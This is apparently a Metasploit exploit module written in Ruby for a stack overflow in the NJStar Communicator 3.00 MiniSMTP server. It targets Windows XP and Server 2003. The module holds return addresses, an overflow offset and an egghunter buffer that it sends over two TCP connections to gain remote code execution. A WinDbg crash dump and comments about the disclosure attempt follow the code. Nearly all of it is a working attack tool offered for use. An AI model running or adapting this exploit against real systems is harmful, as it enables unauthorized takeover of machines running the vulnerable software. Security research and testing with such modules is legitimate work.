##
# Exploit Title: NJStar Communicator 3.00 MiniSMTP Server Remote Exploit
# Date: 10/31/2011
# Author: Dillon Beresford
# Twitter: https://twitter.com/#!/D1N
# Software Link: http://www.njstar.com/download/njcom.exe
# Version: 3.00 and prior
# Build: 11818 and prior 
# Tested on: Windows XP SP3/SP2/SP1 and Windows Server 2003 SP0
# CVE : NONE
# Shouts to bannedit, sinn3r, rick2600, tmanning, corelanc0d3r, jcran, 
# manils, d0tslash, mublix, halsten, and everyone at AHA!
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
# 
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::Egghunter

	def initialize(info = {})
		super(update_info(info,
			'Name'		=> 'NJStar Communicator 3.00 MiniSMTP Server Remote Exploit',
			'Description'	=> %q{
					This module exploits a stack overflow vulnerability in NJStar Communicator 
					Version 3.00 MiniSMTP server.  
			},
			'License'		=> MSF_LICENSE,
			'Author'		=>
				[
					'Dillon Beresford',	# Original discovery and MSF Module.
					'Corelan Team',	# tx for mona.py, all the tuts, and for being awesome. :)
				],
			'Version'		=> '$Revision:$',
			'References'	=>
				[
					[ 'OSVDB', '' ],
					[ 'CVE', '' ],
					[ 'URL', 'http://www.njstar.com/cms/njstar-communicator' ],
					[ 'URL', 'http://www.youtube.com/watch?v=KvkKX035484'],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'thread',
				},
			'Platform'	=> 'win',
			'Payload'	=>
				{
          'BadChars' => "\x00",
          'StackAdjustment' => -1500,
				},

			'Targets'		=>
				[
					[ 'Windows XP SP3',
    					{
                'Ret'   	=>	0x7c874413,
                'Offset'	=>	247,
    					} # jmp esp kernel32.dll
    			], 
    			[ 'Windows XP SP2',
    			    {
    			      'Ret'     => 0x77558952,
    			      'Offset'  => 247,
    			    } # jmp esp ntdll.dll
    			],
    			[ 'Windows XP SP1',
    			    {
    			      'Ret'     => 0x77d718fc,
    			      'Offset'  => 247,
    			    } # jmp esp user32.dll
    			],
    			[ 'Windows Server 2003 SP0',
    					{
                'Ret'   	=>	0x71c033a0,
                'Offset'	=>	247,
    					} # jmp esp ntdll.dll
    			],
				], # Feel free to add more targets.
			'Privileged'	=> false,
			'DisclosureDate'	=> 'OCT 31 2011',
			'DefaultTarget'	=> 0))

		register_options([Opt::RPORT(25)], self.class)

	end
  
	def exploit

    eggoptions =
    {
        :checksum => true, 
        :eggtag => "w00t"
    }

    badchars = '\x00' 
    hunter,egg = generate_egghunter(payload.encoded,badchars,eggoptions)
      
    if target.name =~ /Windows XP SP3/
        
      buffer =  rand_text(target['Offset'])
      buffer << [target.ret].pack('V') 
      buffer << hunter
      buffer << make_nops(4)
      
    elsif target.name =~ /Windows XP SP2/
      
      buffer =  rand_text(target['Offset'])	
      buffer << [target.ret].pack('V') 
      buffer << hunter
      buffer << make_nops(4)
      
    elsif target.name =~ /Windows XP SP1/
      
      buffer = rand_text(target['Offset'])
      buffer << [target.ret].pack('V') 
      buffer << hunter
      buffer << make_nops(4)
      
    elsif target.name =~ /Windows Server 2003 SP0/

      buffer = rand_text(target['Offset'])
      buffer << [target.ret].pack('V') 
      buffer << hunter
      buffer << make_nops(4)
      
    end
      
    # Just some debugging output so we can see lengths and byte size of each of our buffer.
    print_status("egg: %u bytes: \n" % egg.length + Rex::Text.to_hex_dump(egg))
    print_status("hunter: %u bytes: \n" % hunter.length + Rex::Text.to_hex_dump(hunter))
    print_status("buffer: %u bytes:\n" % buffer.length + Rex::Text.to_hex_dump(buffer))
      
    print_status("Trying target #{target.name}...")
      
    # har har har you get trick no treat... 
    # we dont have very much space so we 
    # send our egg in a seperate connection
      
    connect
      
    print_status("Sending the egg...")
    sock.put(egg)
      
    # I think you betta call, ghostbusters...
    # now we send our evil buffer along with the
    # egg hunter, we are doing multiple connections
    # to solve the issue with limited stack space.
    # thanks to bannedit for advice on threads and
    # making multiple connections to get around 
    # stack space constraints. :)
      
    connect
      
    print_status("Sending our buffer containing the egg hunter...")
    sock.put(buffer)
    
		handler
		disconnect
	end
end

##
# No response as of 10/31/11 from AUSCERT or the software vendor. CNCERT and USCERT responded
# on 10/30/11 and 10/31/11, CNCERT said in an email they needed to see if the vulnerability 
# is remotely exploitable and needed more verification. I sent a proof of concept exploit 
# in python with remote code execution. So, here is the proof that the bug is, in fact, 
# remotely exploitable. WIN!
##

##
# eax=00000000 ebx=00417bf8 ecx=00002745 edx=00000000 esi=008a3e50
# edi=008a3d80
# eip=42424242 esp=00ccff70 ebp=7c8097d0 iopl=0         nv up ei pl nz na pe nc
# cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000            
# efl=00010206
# 42424242 ??              ???
# 0:003> !exchain
# image00400000+bbc4 (0040bbc4)
# 00ccff00: 41414141
# Invalid exception stack at 41414141
# 0:003> d esp
# 00ccff70  44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44  DDDDDDDDDDDDDDDD
# 00ccff80  44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44  DDDDDDDDDDDDDDDD
# 00ccff90  44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44  DDDDDDDDDDDDDDDD
# 00ccffa0  44 44 44 44 00 ff cc 00-c4 bb 40 00 20 23 41 00  DDDD......@. #A.
# 00ccffb0  00 00 00 00 ec ff cc 00-29 b7 80 7c b8 3d 8a 00  ........)..|.=..
# 00ccffc0  00 00 00 00 00 00 00 00-b8 3d 8a 00 00 c0 fd 7f  .........=......
# 00ccffd0  00 d6 e3 89 c0 ff cc 00-98 08 99 89 ff ff ff ff  ................
# 00ccffe0  d8 9a 83 7c 30 b7 80 7c-00 00 00 00 00 00 00 00  ...|0..|........
##